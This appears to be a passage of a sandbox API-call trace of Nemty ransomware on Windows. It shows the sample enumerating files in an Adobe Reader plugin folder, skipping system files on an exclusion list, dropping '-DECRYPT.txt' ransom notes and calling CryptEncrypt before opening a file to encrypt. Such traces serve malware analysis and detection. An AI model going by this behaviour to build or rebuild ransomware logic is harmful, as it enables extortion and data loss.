-1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0192.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0192.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0192.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340328 [0192.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.539] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x265be810, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x265be810, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x265e4970, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0192.539] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0192.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0192.539] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 1 [0192.539] lstrcmpiW (lpString1="MPP_UKR", lpString2=".") returned 1 [0192.539] lstrcmpiW (lpString1="MPP_UKR", lpString2="..") returned 1 [0192.539] lstrcmpiW (lpString1="MPP_UKR", lpString2="...") returned 1 [0192.539] lstrcmpiW (lpString1="MPP_UKR", lpString2="windows") returned -1 [0192.539] lstrcmpiW (lpString1="MPP_UKR", lpString2="$RECYCLE.BIN") returned 1 [0192.539] lstrcmpiW (lpString1="MPP_UKR", lpString2="rsa") returned -1 [0192.539] lstrcmpiW (lpString1="MPP_UKR", lpString2="NTDETECT.COM") returned -1 [0192.539] lstrcmpiW (lpString1="MPP_UKR", lpString2="ntldr") returned -1 [0192.539] lstrcmpiW (lpString1="MPP_UKR", lpString2="MSDOS.SYS") returned -1 [0192.539] lstrcmpiW (lpString1="MPP_UKR", lpString2="IO.SYS") returned 1 [0192.539] lstrcmpiW (lpString1="MPP_UKR", lpString2="boot.ini") returned 1 [0192.539] lstrcmpiW (lpString1="MPP_UKR", lpString2="boot.ini") returned 1 [0192.540] lstrcmpiW (lpString1="MPP_UKR", lpString2="AUTOEXEC.BAT") returned 1 [0192.540] lstrcmpiW (lpString1="MPP_UKR", lpString2="ntuser.dat") returned -1 [0192.540] lstrcmpiW (lpString1="MPP_UKR", lpString2="desktop.ini") returned 1 [0192.540] lstrcmpiW (lpString1="MPP_UKR", lpString2="CONFIG.SYS") returned 1 [0192.540] lstrcmpiW (lpString1="MPP_UKR", lpString2="RECYCLER") returned -1 [0192.540] lstrcmpiW (lpString1="MPP_UKR", lpString2="BOOTSECT.BAK") returned 1 [0192.540] lstrcmpiW (lpString1="MPP_UKR", lpString2="bootmgr") returned 1 [0192.540] lstrcmpiW (lpString1="MPP_UKR", lpString2="programdata") returned -1 [0192.540] lstrcmpiW (lpString1="MPP_UKR", lpString2="appdata") returned 1 [0192.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_UKR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0192.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_UKR", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_UKR", lpUsedDefaultChar=0x0) returned 7 [0192.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_UKR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0192.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_UKR", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_UKR", lpUsedDefaultChar=0x0) returned 7 [0192.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0192.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0192.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0192.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0192.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0192.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.540] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0192.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0192.542] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.543] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0192.543] CloseHandle (hObject=0x2e8) returned 1 [0192.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0192.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0192.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0192.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0192.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340308 [0192.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.544] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0192.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0192.545] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.545] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0192.545] CloseHandle (hObject=0x2e8) returned 1 [0192.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.546] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2667cef0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2667cef0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0192.546] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0192.546] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2667cef0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2667cef0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0192.546] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0192.546] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0192.546] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.UKR", cAlternateFileName="")) returned 1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2=".") returned 1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="..") returned 1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="...") returned 1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="windows") returned -1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="$RECYCLE.BIN") returned 1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="rsa") returned -1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="NTDETECT.COM") returned -1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="ntldr") returned -1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="MSDOS.SYS") returned -1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="IO.SYS") returned -1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="boot.ini") returned 1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="boot.ini") returned 1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="ntuser.dat") returned -1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="desktop.ini") returned 1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="CONFIG.SYS") returned 1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="RECYCLER") returned -1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="BOOTSECT.BAK") returned 1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="bootmgr") returned 1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="programdata") returned -1 [0192.546] lstrcmpiW (lpString1="Flash.UKR", lpString2="appdata") returned 1 [0192.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.UKR", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.UKR", lpUsedDefaultChar=0x0) returned 9 [0192.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.UKR", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.UKR", lpUsedDefaultChar=0x0) returned 9 [0192.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.UKR", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.UKR", lpUsedDefaultChar=0x0) returned 9 [0192.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.UKR", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.UKR", lpUsedDefaultChar=0x0) returned 9 [0192.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0192.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0192.547] Sleep (dwMilliseconds=0x5) [0192.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x266a3050, dwHighDateTime=0x1d561e8)) [0192.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x266a3050, dwHighDateTime=0x1d561e8)) [0192.549] GetLastError () returned 0xb7 [0192.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.549] GetLastError () returned 0xb7 [0192.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.549] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.549] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.549] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.549] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="ReuNRjbJJ6xsR/i3SioVTccxBA4iVCZZ+0YmrQrrOUFNmjQB6t3t/Zf/MbJODugT\r\nLdOqYJ+Vhjod9+/6MLzppVNlwE/bdK/okjx3G2GE9xFWksbx1Hv8NxzU0lFV1FkT\r\nJaCocdQfUmUjxCxRW60cEcReeyp6CW/R0jSEJFBs1SWzd2AXU7UKOPNHv4/2IVva\r\nKBq0VHgIuMLg6zZHS2Dyc3ZNpPIQjgUY8nhJ3mZdYjGJ3ll/kD3IFjhaj84RvJuA\r\nbc/UkhUq8MRef08Uqof47Ajw3LKYDj9P8KFhN8cjztzoMuOxG81Q2lqFKZKf91J+\r\nxC1nXIt+Is2KmMKv54ARWQ==\r\n", pcchString=0x653e29c) returned 1 [0192.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\Flash.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\flash.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.550] GetFileSizeEx (in: 